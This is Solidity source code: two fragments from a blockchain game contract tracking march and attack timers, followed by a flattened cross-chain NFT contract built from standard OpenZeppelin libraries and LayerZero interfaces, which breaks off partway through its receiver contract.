return 0 if success else return remaining time uint num; num = ownerTotalMarchTime[_owner].div( MarchInstance.levelOfMarch(_owner).mul(MarchInstance.createMarchTime()) ); MarchInstance.setNumOfMarch(_owner, MarchInstance.numOfMarch(_owner) + (num));
function updateMarch(address _owner) public returns(uint) { if (ownerAttackStartTime[_owner] == 0) return 0; if (uint(now) >= ownerAttackStartTime[_owner].add(ownerAttackTotalTime[_owner])) { ownerIsAttacked[_owner] = false; ownerAttackerAddress[_owner] = _owner; ownerAttackStartTime[_owner] = 0; ownerAttackTotalTime[_owner] = 0; return 0; } else { uint remainingTime = (ownerAttackStartTime[_owner] + ownerAttackTotalTime[_owner]).sub(uint(now)); return remainingTime; } }
15,882,581
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity >=0.5.0; interface ILayerZeroUserApplicationConfig { // @notice set the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _configType - type of configuration. every messaging library has its own convention. // @param _config - configuration in the bytes. can encode arbitrary content. function setConfig(uint16 _version, uint16 _chainId, uint _configType, bytes calldata _config) external; // @notice set the send() LayerZero messaging library version to _version // @param _version - new messaging library version function setSendVersion(uint16 _version) external; // @notice set the lzReceive() LayerZero messaging library version to _version // @param _version - new messaging library version function setReceiveVersion(uint16 _version) external; // @notice Only when the UA needs to resume the message flow in blocking mode and clear the stored payload // @param _srcChainId - the chainId of the source chain // @param _srcAddress - the contract address of the source contract at the source chain function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external; } // File: contracts/interfaces/ILayerZeroEndpoint.sol pragma solidity >=0.5.0; interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig { // @notice send a LayerZero message to the specified address at a LayerZero endpoint. // @param _dstChainId - the destination chain identifier // @param _destination - the address on destination chain (in bytes). address length/format may vary by chains // @param _payload - a custom bytes payload to send to the destination contract // @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address // @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction // @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination function send(uint16 _dstChainId, bytes calldata _destination, bytes calldata _payload, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) external payable; // @notice used by the messaging library to publish verified payload // @param _srcChainId - the source chain identifier // @param _srcAddress - the source contract (as bytes) at the source chain // @param _dstAddress - the address on destination chain // @param _nonce - the unbound message ordering nonce // @param _gasLimit - the gas limit for external contract execution // @param _payload - verified payload to send to the destination contract function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external; // @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function getInboundNonce(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (uint64); // @notice get the outboundNonce from this source chain which, consequently, is always an EVM // @param _srcAddress - the source chain contract address function getOutboundNonce(uint16 _dstChainId, address _srcAddress) external view returns (uint64); // @notice gets a quote in source native gas, for the amount that send() requires to pay for message delivery // @param _dstChainId - the destination chain identifier // @param _userApplication - the user app address on this EVM chain // @param _payload - the custom message to send over LayerZero // @param _payInZRO - if false, user app pays the protocol fee in native token // @param _adapterParam - parameters for the adapter service, e.g. send some dust native token to dstChain function estimateFees(uint16 _dstChainId, address _userApplication, bytes calldata _payload, bool _payInZRO, bytes calldata _adapterParam) external view returns (uint nativeFee, uint zroFee); // @notice get this Endpoint's immutable source identifier function getChainId() external view returns (uint16); // @notice the interface to retry failed message on this Endpoint destination // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address // @param _payload - the payload to be retried function retryPayload(uint16 _srcChainId, bytes calldata _srcAddress, bytes calldata _payload) external; // @notice query if any STORED payload (message blocking) at the endpoint. // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function hasStoredPayload(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool); // @notice query if the _libraryAddress is valid for sending msgs. // @param _userApplication - the user app address on this EVM chain function getSendLibraryAddress(address _userApplication) external view returns (address); // @notice query if the _libraryAddress is valid for receiving msgs. // @param _userApplication - the user app address on this EVM chain function getReceiveLibraryAddress(address _userApplication) external view returns (address); // @notice query if the non-reentrancy guard for send() is on // @return true if the guard is on. false otherwise function isSendingPayload() external view returns (bool); // @notice query if the non-reentrancy guard for receive() is on // @return true if the guard is on. false otherwise function isReceivingPayload() external view returns (bool); // @notice get the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _userApplication - the contract address of the user application // @param _configType - type of configuration. every messaging library has its own convention. function getConfig(uint16 _version, uint16 _chainId, address _userApplication, uint _configType) external view returns (bytes memory); // @notice get the send() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getSendVersion(address _userApplication) external view returns (uint16); // @notice get the lzReceive() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getReceiveVersion(address _userApplication) external view returns (uint16); } // File: contracts/interfaces/ILayerZeroReceiver.sol pragma solidity >=0.5.0; interface ILayerZeroReceiver { // @notice LayerZero endpoint will invoke this function to deliver the message on the destination // @param _srcChainId - the source endpoint identifier // @param _srcAddress - the source sending contract address from the source chain // @param _nonce - the ordered message nonce // @param _payload - the signed payload is the UA bytes has encoded to be sent function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/NonblockingReceiver.sol pragma solidity ^0.8.6; abstract contract NonblockingReceiver is Ownable, ILayerZeroReceiver { ILayerZeroEndpoint internal endpoint; struct FailedMessages { uint payloadLength; bytes32 payloadHash; } mapping(uint16 => mapping(bytes => mapping(uint => FailedMessages))) public failedMessages; mapping(uint16 => bytes) public trustedRemoteLookup; event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload); function lzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) external override { require(msg.sender == address(endpoint)); // boilerplate! lzReceive must be called by the endpoint for security require(_srcAddress.length == trustedRemoteLookup[_srcChainId].length && keccak256(_srcAddress) == keccak256(trustedRemoteLookup[_srcChainId]), "NonblockingReceiver: invalid source sending contract"); // try-catch all errors/exceptions // having failed messages does not block messages passing try this.onLzReceive(_srcChainId, _srcAddress, 